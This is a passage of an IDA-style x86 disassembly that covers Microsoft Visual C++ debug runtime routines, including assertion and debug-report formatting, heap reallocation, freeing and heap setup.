jnz short loc_41BF4A
push 0FFFFFFF4h
call ds:dword_49443C
mov edx, [ebp+8]
mov dword_442D2C[edx*4], eax
jmp short loc_41BF57
; ---------------------------------------------------------------------------
loc_41BF4A: ; CODE XREF: .text:0041BF34j
mov eax, [ebp+8]
mov ecx, [ebp+0Ch]
mov dword_442D2C[eax*4], ecx
loc_41BF57: ; CODE XREF: .text:0041BF2Ej
; .text:0041BF48j
mov eax, [ebp-4]
loc_41BF5A: ; CODE XREF: .text:0041BEF5j
; .text:0041BF07j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_493780
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_493780, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BF80 proc near ; CODE XREF: sub_416B00+38p
; sub_416B00+A1p ...
var_302C = dword ptr -302Ch
var_3028 = dword ptr -3028h
var_3024 = byte ptr -3024h
var_3010 = byte ptr -3010h
var_300C = dword ptr -300Ch
var_3008 = byte ptr -3008h
var_3007 = byte ptr -3007h
var_2008 = byte ptr -2008h
var_2007 = byte ptr -2007h
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_1000 = byte ptr -1000h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
push ebp
mov ebp, esp
mov eax, 302Ch
call sub_418D40
push edi
mov [ebp+var_3008], 0
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp+var_3007]
rep stosd
stosw
stosb
mov [ebp+var_2008], 0
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp+var_2007]
rep stosd
stosw
stosb
mov [ebp+var_1000], 0
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp+var_FFF]
rep stosd
stosw
stosb
lea eax, [ebp+arg_14]
mov [ebp+var_1004], eax
cmp [ebp+arg_0], 0
jl short loc_41BFEE
cmp [ebp+arg_0], 3
jl short loc_41BFF6
loc_41BFEE: ; CODE XREF: sub_41BF80+66j
or eax, 0FFFFFFFFh
jmp loc_41C30B
; ---------------------------------------------------------------------------
loc_41BFF6: ; CODE XREF: sub_41BF80+6Cj
cmp [ebp+arg_0], 2
jnz loc_41C0A0
push offset dword_442D1C
call ds:dword_494418
test eax, eax
jle loc_41C0A0
cmp dword_492150, 0
jnz short loc_41C05E
push offset aUser32_dll_0 ; "user32.dll"
call ds:dword_49434C
mov [ebp+var_300C], eax
cmp [ebp+var_300C], 0
jz short loc_41C056
push offset aWsprintfa ; "wsprintfA"
mov ecx, [ebp+var_300C]
push ecx
call ds:dword_494348
mov dword_492150, eax
cmp dword_492150, 0
jnz short loc_41C05E
loc_41C056: ; CODE XREF: sub_41BF80+B4j
or eax, 0FFFFFFFFh
jmp loc_41C30B
; ---------------------------------------------------------------------------
loc_41C05E: ; CODE XREF: sub_41BF80+9Aj
; sub_41BF80+D4j
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
push offset aSecondChanceAs ; "Second Chance Assertion Failed: File %s"...
lea ecx, [ebp+var_2008]
push ecx
call dword_492150
add esp, 10h
lea edx, [ebp+var_2008]
push edx
call ds:dword_494440
push offset dword_442D1C
call ds:dword_494414
call sub_41BE70
or eax, 0FFFFFFFFh
jmp loc_41C30B
; ---------------------------------------------------------------------------
loc_41C0A0: ; CODE XREF: sub_41BF80+7Aj
; sub_41BF80+8Dj
cmp [ebp+arg_10], 0
jz short loc_41C0DD
mov eax, [ebp+var_1004]
push eax
mov ecx, [ebp+arg_10]
push ecx
push 0FEDh
lea edx, [ebp+var_1000]
push edx
call sub_4193F0
add esp, 10h
test eax, eax
jge short loc_41C0DD
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea eax, [ebp+var_1000]
push eax
call sub_419FA0
add esp, 8
loc_41C0DD: ; CODE XREF: sub_41BF80+124j
; sub_41BF80+147j
cmp [ebp+arg_0], 2
jnz short loc_41C115
cmp [ebp+arg_10], 0
jz short loc_41C0F5
mov [ebp+var_3028], offset aAssertionFaile ; "Assertion failed: "
jmp short loc_41C0FF
; ---------------------------------------------------------------------------
loc_41C0F5: ; CODE XREF: sub_41BF80+167j
mov [ebp+var_3028], offset aAssertionFai_0 ; "Assertion failed!"
loc_41C0FF: ; CODE XREF: sub_41BF80+173j
mov ecx, [ebp+var_3028]
push ecx
lea edx, [ebp+var_3008]
push edx
call sub_419FA0
add esp, 8
loc_41C115: ; CODE XREF: sub_41BF80+161j
lea eax, [ebp+var_1000]
push eax
lea ecx, [ebp+var_3008]
push ecx
call sub_419FB0
add esp, 8
cmp [ebp+arg_0], 2
jnz short loc_41C16A
mov edx, [ebp+arg_0]
mov eax, dword_442D20[edx*4]
and eax, 1
test eax, eax
jz short loc_41C156
push offset asc_432C98 ; "\r"
lea ecx, [ebp+var_3008]
push ecx
call sub_419FB0
add esp, 8
loc_41C156: ; CODE XREF: sub_41BF80+1C0j
push offset asc_432C94 ; "\n"
lea edx, [ebp+var_3008]
push edx
call sub_419FB0
add esp, 8
loc_41C16A: ; CODE XREF: sub_41BF80+1AFj
cmp [ebp+arg_4], 0
jz short loc_41C1B2
lea eax, [ebp+var_3008]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
push offset aSDS_0 ; "%s(%d) : %s"
push 1000h
lea eax, [ebp+var_2008]
push eax
call sub_418EF0
add esp, 18h
test eax, eax
jge short loc_41C1B0
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea ecx, [ebp+var_2008]
push ecx
call sub_419FA0
add esp, 8
loc_41C1B0: ; CODE XREF: sub_41BF80+21Aj
jmp short loc_41C1C8
; ---------------------------------------------------------------------------
loc_41C1B2: ; CODE XREF: sub_41BF80+1EEj
lea edx, [ebp+var_3008]
push edx
lea eax, [ebp+var_2008]
push eax
call sub_419FA0
add esp, 8
loc_41C1C8: ; CODE XREF: sub_41BF80:loc_41C1B0j
cmp dword_493780, 0
jz short loc_41C20C
lea ecx, [ebp+var_1008]
push ecx
lea edx, [ebp+var_2008]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_493780
add esp, 0Ch
test eax, eax
jz short loc_41C20C
cmp [ebp+arg_0], 2
jnz short loc_41C201
push offset dword_442D1C
call ds:dword_494414
loc_41C201: ; CODE XREF: sub_41BF80+274j
mov eax, [ebp+var_1008]
jmp loc_41C30B
; ---------------------------------------------------------------------------
loc_41C20C: ; CODE XREF: sub_41BF80+24Fj
; sub_41BF80+26Ej
mov ecx, [ebp+arg_0]
mov edx, dword_442D20[ecx*4]
and edx, 1
test edx, edx
jz short loc_41C25B
mov eax, [ebp+arg_0]
cmp dword_442D2C[eax*4], 0FFFFFFFFh
jz short loc_41C25B
push 0
lea ecx, [ebp+var_3010]
push ecx
lea edx, [ebp+var_2008]
push edx
call sub_418E70
add esp, 4
push eax
lea eax, [ebp+var_2008]
push eax
mov ecx, [ebp+arg_0]
mov edx, dword_442D2C[ecx*4]
push edx
call ds:dword_4942E4
loc_41C25B: ; CODE XREF: sub_41BF80+29Bj
; sub_41BF80+2A8j
mov eax, [ebp+arg_0]
mov ecx, dword_442D20[eax*4]
and ecx, 2
test ecx, ecx
jz short loc_41C279
lea edx, [ebp+var_2008]
push edx
call ds:dword_494440
loc_41C279: ; CODE XREF: sub_41BF80+2EAj
mov eax, [ebp+arg_0]
mov ecx, dword_442D20[eax*4]
and ecx, 4
test ecx, ecx
jz short loc_41C2F8
cmp [ebp+arg_8], 0
jz short loc_41C2AD
push 0Ah
lea edx, [ebp+var_3024]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_4262C0
add esp, 0Ch
mov [ebp+var_302C], eax
jmp short loc_41C2B7
; ---------------------------------------------------------------------------
loc_41C2AD: ; CODE XREF: sub_41BF80+30Ej
mov [ebp+var_302C], 0
loc_41C2B7: ; CODE XREF: sub_41BF80+32Bj
lea ecx, [ebp+var_1000]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_302C]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41C310
add esp, 14h
mov [ebp+var_1008], eax
cmp [ebp+arg_0], 2
jnz short loc_41C2F0
push offset dword_442D1C
call ds:dword_494414
loc_41C2F0: ; CODE XREF: sub_41BF80+363j
mov eax, [ebp+var_1008]
jmp short loc_41C30B
; ---------------------------------------------------------------------------
loc_41C2F8: ; CODE XREF: sub_41BF80+308j
cmp [ebp+arg_0], 2
jnz short loc_41C309
push offset dword_442D1C
call ds:dword_494414
loc_41C309: ; CODE XREF: sub_41BF80+37Cj
xor eax, eax
loc_41C30B: ; CODE XREF: sub_41BF80+71j
; sub_41BF80+D9j ...
pop edi
mov esp, ebp
pop ebp
retn
sub_41BF80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C310 proc near ; CODE XREF: sub_41BF80+351p
var_1138 = dword ptr -1138h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1128 = dword ptr -1128h
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1114 = dword ptr -1114h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 1138h
call sub_418D40
loc_41C31D: ; CODE XREF: sub_41C310+3Cj
cmp [ebp+arg_10], 0
jnz short loc_41C348
push offset aSzusermessageN ; "szUserMessage != NULL"
push 0
push 1DAh
push offset aDbgrpt_c ; "dbgrpt.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41C348
call sub_41BE70
loc_41C348: ; CODE XREF: sub_41C310+11j
; sub_41C310+31j
xor eax, eax
test eax, eax
jnz short loc_41C31D
push 104h
lea ecx, [ebp+var_108]
push ecx
push 0
call ds:dword_4942F8
test eax, eax
jnz short loc_41C37A
push offset aProgramNameUnk ; "<program name unknown>"
lea edx, [ebp+var_108]
push edx
call sub_419FA0
add esp, 8
loc_41C37A: ; CODE XREF: sub_41C310+54j
lea eax, [ebp+var_108]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_418E70
add esp, 4
cmp eax, 40h
jbe short loc_41C3BD
mov edx, [ebp+var_4]
push edx
call sub_418E70
add esp, 4
mov ecx, [ebp+var_4]
lea edx, [ecx+eax-40h]
mov [ebp+var_4], edx
push 3
push offset a___ ; "..."
mov eax, [ebp+var_4]
push eax
call sub_4191A0
add esp, 0Ch
loc_41C3BD: ; CODE XREF: sub_41C310+82j
mov ecx, [ebp+arg_C]
mov [ebp+var_1110], ecx
cmp [ebp+var_1110], 0
jz short loc_41C418
mov edx, [ebp+var_1110]
push edx
call sub_418E70
add esp, 4
cmp eax, 40h
jbe short loc_41C418
mov eax, [ebp+var_1110]
push eax
call sub_418E70
add esp, 4
mov ecx, [ebp+var_1110]
lea edx, [ecx+eax-40h]
mov [ebp+var_1110], edx
push 3
push offset a___ ; "..."
mov eax, [ebp+var_1110]
push eax
call sub_4191A0
add esp, 0Ch
loc_41C418: ; CODE XREF: sub_41C310+BDj
; sub_41C310+D1j
cmp [ebp+arg_0], 2
jnz short loc_41C42A
mov [ebp+var_1114], offset aForInformation ; "\n\nFor information on how your program c"...
jmp short loc_41C434
; ---------------------------------------------------------------------------
loc_41C42A: ; CODE XREF: sub_41C310+10Cj
mov [ebp+var_1114], offset dword_432DE4
loc_41C434: ; CODE XREF: sub_41C310+118j
mov ecx, [ebp+arg_10]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41C449
mov eax, [ebp+arg_10]
mov [ebp+var_1118], eax
jmp short loc_41C453
; ---------------------------------------------------------------------------
loc_41C449: ; CODE XREF: sub_41C310+12Cj
mov [ebp+var_1118], offset dword_432DE4
loc_41C453: ; CODE XREF: sub_41C310+137j
mov ecx, [ebp+arg_10]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41C46F
cmp [ebp+arg_0], 2
jnz short loc_41C46F
mov [ebp+var_111C], offset aExpression ; "Expression: "
jmp short loc_41C479
; ---------------------------------------------------------------------------
loc_41C46F: ; CODE XREF: sub_41C310+14Bj
; sub_41C310+151j
mov [ebp+var_111C], offset dword_432DE4
loc_41C479: ; CODE XREF: sub_41C310+15Dj
mov eax, [ebp+arg_10]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_41C48F
mov [ebp+var_1120], offset asc_432DD0 ; "\n\n"
jmp short loc_41C499
; ---------------------------------------------------------------------------
loc_41C48F: ; CODE XREF: sub_41C310+171j
mov [ebp+var_1120], offset dword_432DE4
loc_41C499: ; CODE XREF: sub_41C310+17Dj
cmp [ebp+arg_8], 0
jz short loc_41C4AA
mov edx, [ebp+arg_8]
mov [ebp+var_1124], edx
jmp short loc_41C4B4
; ---------------------------------------------------------------------------
loc_41C4AA: ; CODE XREF: sub_41C310+18Dj
mov [ebp+var_1124], offset dword_432DE4
loc_41C4B4: ; CODE XREF: sub_41C310+198j
cmp [ebp+arg_8], 0
jz short loc_41C4C6
mov [ebp+var_1128], offset aLine ; "\nLine: "
jmp short loc_41C4D0
; ---------------------------------------------------------------------------
loc_41C4C6: ; CODE XREF: sub_41C310+1A8j
mov [ebp+var_1128], offset dword_432DE4
loc_41C4D0: ; CODE XREF: sub_41C310+1B4j
cmp [ebp+arg_4], 0
jz short loc_41C4E1
mov eax, [ebp+arg_4]
mov [ebp+var_112C], eax
jmp short loc_41C4EB
; ---------------------------------------------------------------------------
loc_41C4E1: ; CODE XREF: sub_41C310+1C4j
mov [ebp+var_112C], offset dword_432DE4
loc_41C4EB: ; CODE XREF: sub_41C310+1CFj
cmp [ebp+arg_4], 0
jz short loc_41C4FD
mov [ebp+var_1130], offset aFile_3 ; "\nFile: "
jmp short loc_41C507
; ---------------------------------------------------------------------------
loc_41C4FD: ; CODE XREF: sub_41C310+1DFj
mov [ebp+var_1130], offset dword_432DE4
loc_41C507: ; CODE XREF: sub_41C310+1EBj
cmp [ebp+var_1110], 0
jz short loc_41C51E
mov ecx, [ebp+var_1110]
mov [ebp+var_1134], ecx
jmp short loc_41C528
; ---------------------------------------------------------------------------
loc_41C51E: ; CODE XREF: sub_41C310+1FEj
mov [ebp+var_1134], offset dword_432DE4
loc_41C528: ; CODE XREF: sub_41C310+20Cj
cmp [ebp+var_1110], 0
jz short loc_41C53D
mov [ebp+var_1138], offset aModule ; "\nModule: "
jmp short loc_41C547
; ---------------------------------------------------------------------------
loc_41C53D: ; CODE XREF: sub_41C310+21Fj
mov [ebp+var_1138], offset dword_432DE4
loc_41C547: ; CODE XREF: sub_41C310+22Bj
mov edx, [ebp+var_1114]
push edx
mov eax, [ebp+var_1118]
push eax
mov ecx, [ebp+var_111C]
push ecx
mov edx, [ebp+var_1120]
push edx
mov eax, [ebp+var_1124]
push eax
mov ecx, [ebp+var_1128]
push ecx
mov edx, [ebp+var_112C]
push edx
mov eax, [ebp+var_1130]
push eax
mov ecx, [ebp+var_1134]
push ecx
mov edx, [ebp+var_1138]
push edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, off_442D38[ecx*4]
push edx
push offset aDebugSProgramS ; "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"...
push 1000h
lea eax, [ebp+var_110C]
push eax
call sub_418EF0
add esp, 3Ch
test eax, eax
jge short loc_41C5CD
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea ecx, [ebp+var_110C]
push ecx
call sub_419FA0
add esp, 8
loc_41C5CD: ; CODE XREF: sub_41C310+2A7j
push 12012h
push offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library"
lea edx, [ebp+var_110C]
push edx
call sub_426B40
add esp, 0Ch
mov [ebp+var_10C], eax
cmp [ebp+var_10C], 3
jnz short loc_41C606
push 16h
call sub_426880
add esp, 4
push 3
call sub_41B330
loc_41C606: ; CODE XREF: sub_41C310+2E3j
cmp [ebp+var_10C], 4
jnz short loc_41C616
mov eax, 1
jmp short loc_41C618
; ---------------------------------------------------------------------------
loc_41C616: ; CODE XREF: sub_41C310+2FDj
xor eax, eax
loc_41C618: ; CODE XREF: sub_41C310+304j
mov esp, ebp
pop ebp
retn
sub_41C310 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C620 proc near ; CODE XREF: sub_416F00+2D4p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_4], 0FFFFFFE0h
jbe short loc_41C633
xor eax, eax
jmp loc_41C6C9
; ---------------------------------------------------------------------------
loc_41C633: ; CODE XREF: sub_41C620+Aj
push 9
call sub_41BC90
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_41CB40
add esp, 4
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_41C691
mov [ebp+var_4], 0
mov ecx, [ebp+arg_4]
cmp ecx, dword_442D48
ja short loc_41C682
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_41DA10
add esp, 0Ch
test eax, eax
jz short loc_41C682
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
loc_41C682: ; CODE XREF: sub_41C620+42j
; sub_41C620+5Aj
push 9
call sub_41BD30
add esp, 4
mov eax, [ebp+var_4]
jmp short loc_41C6C9
; ---------------------------------------------------------------------------
loc_41C691: ; CODE XREF: sub_41C620+30j
push 9
call sub_41BD30
add esp, 4
cmp [ebp+arg_4], 0
jnz short loc_41C6A8
mov [ebp+arg_4], 1
loc_41C6A8: ; CODE XREF: sub_41C620+7Fj
mov eax, [ebp+arg_4]
add eax, 0Fh
and al, 0F0h
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
push 10h
mov eax, dword_49377C
push eax
call ds:dword_494444
loc_41C6C9: ; CODE XREF: sub_41C620+Ej
; sub_41C620+6Fj
mov esp, ebp
pop ebp
retn
sub_41C620 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C6D0 proc near ; CODE XREF: sub_416F00+2AFp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_0], 0
jnz short loc_41C6ED
mov eax, [ebp+arg_4]
push eax
call sub_41BD70
add esp, 4
jmp loc_41C8B6
; ---------------------------------------------------------------------------
loc_41C6ED: ; CODE XREF: sub_41C6D0+Aj
cmp [ebp+arg_4], 0
jnz short loc_41C706
mov ecx, [ebp+arg_0]
push ecx
call sub_41C8C0
add esp, 4
xor eax, eax
jmp loc_41C8B6
; ---------------------------------------------------------------------------
loc_41C706: ; CODE XREF: sub_41C6D0+21j
; sub_41C6D0:loc_41C8B1j
mov [ebp+var_8], 0
cmp [ebp+arg_4], 0FFFFFFE0h
ja loc_41C889
push 9
call sub_41BC90
add esp, 4
mov edx, [ebp+arg_0]
push edx
call sub_41CB40
add esp, 4
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz loc_41C84C
mov eax, [ebp+arg_4]
cmp eax, dword_442D48
ja short loc_41C7C0
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_C]
push eax
call sub_41DA10
add esp, 0Ch
test eax, eax
jz short loc_41C765
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
jmp short loc_41C7C0
; ---------------------------------------------------------------------------
loc_41C765: ; CODE XREF: sub_41C6D0+8Bj
mov edx, [ebp+arg_4]
push edx
call sub_41D1D0
add esp, 4
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_41C7C0
mov eax, [ebp+arg_0]
mov ecx, [eax-4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
cmp edx, [ebp+arg_4]
jnb short loc_41C796
mov eax, [ebp+var_4]
mov [ebp+var_10], eax
jmp short loc_41C79C
; ---------------------------------------------------------------------------
loc_41C796: ; CODE XREF: sub_41C6D0+BCj
mov ecx, [ebp+arg_4]
mov [ebp+var_10], ecx
loc_41C79C: ; CODE XREF: sub_41C6D0+C4j
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_418A00
add esp, 0Ch
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_C]
push eax
call sub_41CC00
add esp, 8
loc_41C7C0: ; CODE XREF: sub_41C6D0+73j
; sub_41C6D0+93j ...
cmp [ebp+var_8], 0
jnz short loc_41C840
cmp [ebp+arg_4], 0
jnz short loc_41C7D3
mov [ebp+arg_4], 1
loc_41C7D3: ; CODE XREF: sub_41C6D0+FAj
mov ecx, [ebp+arg_4]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
push edx
push 0
mov eax, dword_49377C
push eax
call ds:dword_494354
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_41C840
mov ecx, [ebp+arg_0]
mov edx, [ecx-4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_4]
jnb short loc_41C816
mov ecx, [ebp+var_4]
mov [ebp+var_14], ecx
jmp short loc_41C81C
; ---------------------------------------------------------------------------
loc_41C816: ; CODE XREF: sub_41C6D0+13Cj
mov edx, [ebp+arg_4]
mov [ebp+var_14], edx
loc_41C81C: ; CODE XREF: sub_41C6D0+144j
mov eax, [ebp+var_14]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_8]
push edx
call sub_418A00
add esp, 0Ch
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_C]
push ecx
call sub_41CC00
add esp, 8
loc_41C840: ; CODE XREF: sub_41C6D0+F4j
; sub_41C6D0+128j
push 9
call sub_41BD30
add esp, 4
jmp short loc_41C889
; ---------------------------------------------------------------------------
loc_41C84C: ; CODE XREF: sub_41C6D0+64j
push 9
call sub_41BD30
add esp, 4
cmp [ebp+arg_4], 0
jnz short loc_41C863
mov [ebp+arg_4], 1
loc_41C863: ; CODE XREF: sub_41C6D0+18Aj
mov edx, [ebp+arg_4]
add edx, 0Fh
and edx, 0FFFFFFF0h
mov [ebp+arg_4], edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 0
mov edx, dword_49377C
push edx
call ds:dword_494444
mov [ebp+var_8], eax
loc_41C889: ; CODE XREF: sub_41C6D0+41j
; sub_41C6D0+17Aj
cmp [ebp+var_8], 0
jnz short loc_41C898
cmp dword_4920E4, 0
jnz short loc_41C89D
loc_41C898: ; CODE XREF: sub_41C6D0+1BDj
mov eax, [ebp+var_8]
jmp short loc_41C8B6
; ---------------------------------------------------------------------------
loc_41C89D: ; CODE XREF: sub_41C6D0+1C6j
mov eax, [ebp+arg_4]
push eax
call sub_41BB80
add esp, 4
test eax, eax
jnz short loc_41C8B1
xor eax, eax
jmp short loc_41C8B6
; ---------------------------------------------------------------------------
loc_41C8B1: ; CODE XREF: sub_41C6D0+1DBj
jmp loc_41C706
; ---------------------------------------------------------------------------
loc_41C8B6: ; CODE XREF: sub_41C6D0+18j
; sub_41C6D0+31j ...
mov esp, ebp
pop ebp
retn
sub_41C6D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C8C0 proc near ; CODE XREF: sub_4174F0+26Ep
; sub_4174F0+3B2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_41C8CC
jmp short loc_41C924
; ---------------------------------------------------------------------------
loc_41C8CC: ; CODE XREF: sub_41C8C0+8j
push 9
call sub_41BC90
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_41CB40
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41C907
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_41CC00
add esp, 8
push 9
call sub_41BD30
add esp, 4
jmp short loc_41C924
; ---------------------------------------------------------------------------
loc_41C907: ; CODE XREF: sub_41C8C0+29j
push 9
call sub_41BD30
add esp, 4
mov eax, [ebp+arg_0]
push eax
push 0
mov ecx, dword_49377C
push ecx
call ds:dword_494350
loc_41C924: ; CODE XREF: sub_41C8C0+Aj
; sub_41C8C0+45j
mov esp, ebp
pop ebp
retn
sub_41C8C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C930 proc near ; CODE XREF: sub_417BD0+30p
; .text:0041C9B3p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0FFFFFFFEh
push 9
call sub_41BC90
add esp, 4
call sub_41E130
test eax, eax
jge short loc_41C955
mov [ebp+var_4], 0FFFFFFFCh
loc_41C955: ; CODE XREF: sub_41C930+1Cj
push 9
call sub_41BD30
add esp, 4
push 0
push 0
mov eax, dword_49377C
push eax
call ds:dword_494410
test eax, eax
jnz short loc_41C99D
call ds:dword_4942F0
cmp eax, 78h
jnz short loc_41C996
call sub_422F30
mov dword ptr [eax], 78h
call sub_422F20
mov dword ptr [eax], 28h
jmp short loc_41C99D
; ---------------------------------------------------------------------------
loc_41C996: ; CODE XREF: sub_41C930+4Cj
mov [ebp+var_4], 0FFFFFFFCh
loc_41C99D: ; CODE XREF: sub_41C930+41j
; sub_41C930+64j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41C930 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_41C930
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9C0 proc near ; CODE XREF: sub_41B970+7Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 1000h
xor eax, eax
cmp [ebp+arg_0], 0
setz al
push eax
call ds:dword_49444C
mov dword_49377C, eax
cmp dword_49377C, 0
jnz short loc_41C9EC
xor eax, eax
jmp short loc_41CA0B
; ---------------------------------------------------------------------------
loc_41C9EC: ; CODE XREF: sub_41C9C0+26j
call sub_41CAE0
test eax, eax
jnz short loc_41CA06
mov ecx, dword_49377C
push ecx
call ds:dword_494448
xor eax, eax
jmp short loc_41CA0B
; ---------------------------------------------------------------------------
loc_41CA06: ; CODE XREF: sub_41C9C0+33j
mov eax, 1
loc_41CA0B: ; CODE XREF: sub_41C9C0+2Aj
; sub_41C9C0+44j
pop ebp
retn
sub_41C9C0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword_493778
mov [ebp-8], eax
mov dword ptr [ebp-4], 0
jmp short loc_41CA30
; ---------------------------------------------------------------------------
loc_41CA27: ; CODE XREF: .text:0041CA84j
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
loc_41CA30: ; CODE XREF: .text:0041CA25j
mov edx, [ebp-4]
cmp edx, dword_493774
jge short loc_41CA86
push 4000h
push 100000h
mov eax, [ebp-8]
mov ecx, [eax+0Ch]
push ecx
call ds:dword_494450
push 8000h
push 0
mov edx, [ebp-8]
mov eax, [edx+0Ch]
push eax
call ds:dword_494450
mov ecx, [ebp-8]
mov edx, [ecx+10h]
push edx
push 0
mov eax, dword_49377C
push eax
call ds:dword_494350
mov ecx, [ebp-8]
add ecx, 14h
mov [ebp-8], ecx
jmp short loc_41CA27
; ---------------------------------------------------------------------------
loc_41CA86: ; CODE XREF: .text:0041CA39j
mov edx, dword_493778
push edx
push 0
mov eax, dword_49377C
push eax
call ds:dword_494350
mov ecx, dword_49377C
push ecx
call ds:dword_494448
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, dword_442D48
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword ptr [ebp+8], 3F8h
jbe short loc_41CAD0
xor eax, eax
jmp short loc_41CADD
; ---------------------------------------------------------------------------
loc_41CAD0: ; CODE XREF: .text:0041CACAj
mov eax, [ebp+8]
mov dword_442D48, eax
mov eax, 1
loc_41CADD: ; CODE XREF: .text:0041CACEj
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAE0 proc near ; CODE XREF: sub_41C9C0:loc_41C9ECp
push ebp
mov ebp, esp
push 140h
push 0
mov eax, dword_49377C
push eax
call ds:dword_494354
mov dword_493778, eax
cmp dword_493778, 0
jnz short loc_41CB08
xor eax, eax
jmp short loc_41CB37
; ---------------------------------------------------------------------------
loc_41CB08: ; CODE XREF: sub_41CAE0+22j
mov ecx, dword_493778
